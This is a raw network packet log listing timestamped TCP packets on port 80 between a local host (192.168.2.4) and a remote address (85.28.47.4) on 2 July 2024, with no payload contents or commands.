Jul 2, 2024 15:26:01.847657919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847695112 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.847709894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.847758055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847769022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847786903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847799063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.847822905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.847840071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.847851992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847862959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847881079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847891092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.847915888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847918034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.847934961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847948074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847959995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.847965956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847981930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.847985983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.847997904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.848016024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.848028898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.848047018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.848058939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.848077059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.848087072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.848087072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.848110914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.848140955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.848191023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.848201990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.848220110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.848229885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.848237991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.848265886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.848303080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.848313093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.848330021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.848340034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.848342896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.848359108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.848368883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.848376036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.848403931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.851180077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.851207972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.851221085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.851246119 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.851303101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.851314068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.851320982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.851334095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.851346970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.851353884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.851363897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.851365089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.851392984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.851402998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.851946115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.851977110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.851990938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.851995945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.852008104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.852030039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.852113962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852134943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852148056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852160931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.852164984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852185965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.852186918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852199078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.852200985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852216959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852231026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.852238894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852248907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852252960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.852267981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852277994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852277994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.852300882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852303028 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.852314949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852327108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.852353096 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.852365971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852375984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852397919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852406025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.852413893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852432013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852432013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.852443933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.852446079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852473974 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.852504015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.852925062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852935076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852952003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852962017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852977991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.852982044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.852989912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.853003025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.853008032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.853025913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.853034973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.853060007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.853071928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.865592957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.865792990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.865818024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.865829945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.865856886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.865865946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.865871906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.865888119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.865897894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.865927935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.865952969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.865964890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.865981102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.865993023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866002083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866015911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866024017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866030931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866051912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866061926 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866061926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866075993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866087914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866097927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866106987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866112947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866131067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866139889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866156101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866169930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866180897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866188049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866189003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866189003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866203070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866209984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866216898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866226912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866233110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866255999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866255999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866288900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866326094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866337061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866353989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866364002 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866389990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866422892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866440058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866461039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866466045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866472006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866489887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866489887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866504908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866532087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866591930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866602898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866620064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866632938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866657019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866676092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866692066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866707087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866717100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866722107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866750956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.866863966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.866905928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.867598057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.867646933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.936911106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.936940908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.936954021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.936969995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.936990023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.936996937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937005043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937010050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937026978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937038898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937055111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937117100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937117100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937117100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937271118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937280893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937297106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937313080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937315941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937326908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937345982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937355042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937356949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937374115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937386036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937391043 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937391043 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937406063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937443972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937472105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937472105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937484026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937484026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937500954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937513113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937530994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937540054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937557936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937577963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937623978 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937664032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937675953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937704086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937717915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937736988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937757015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937769890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937794924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937819958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937824965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937832117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937849998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.937870979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.937886000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.938338995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.938352108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.938369989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.938383102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.938385963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.938395023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.938402891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.938412905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.938414097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.938430071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.938437939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.938446999 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.938477039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.938488960 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.941571951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.941584110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.941600084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.941617966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.941627026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.941629887 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.941648960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.941658020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.941672087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.941699982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.941706896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.941718102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.941735983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.941747904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.941791058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.941809893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.941821098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.941833973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.941833973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.941838026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.941845894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.941854954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.941857100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.941875935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.941888094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.941911936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.941940069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.942075014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942086935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942104101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942112923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942121983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.942132950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942143917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.942143917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.942173958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.942241907 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942286015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.942312002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942322016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942339897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942349911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942357063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.942368984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942380905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942384958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.942409992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.942435980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.942435980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942466974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942476988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942487001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.942500114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942502022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.942519903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.942527056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942538977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942539930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.942575932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.942601919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942614079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942630053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.942641973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.942668915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.955152035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955163002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955182076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955212116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.955256939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.955256939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955271006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955288887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955298901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.955305099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955322981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.955323935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955353022 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.955370903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955380917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:01.955383062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955401897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:01.955411911 CEST	49730	80	192.168.2.4	85.28.47.4
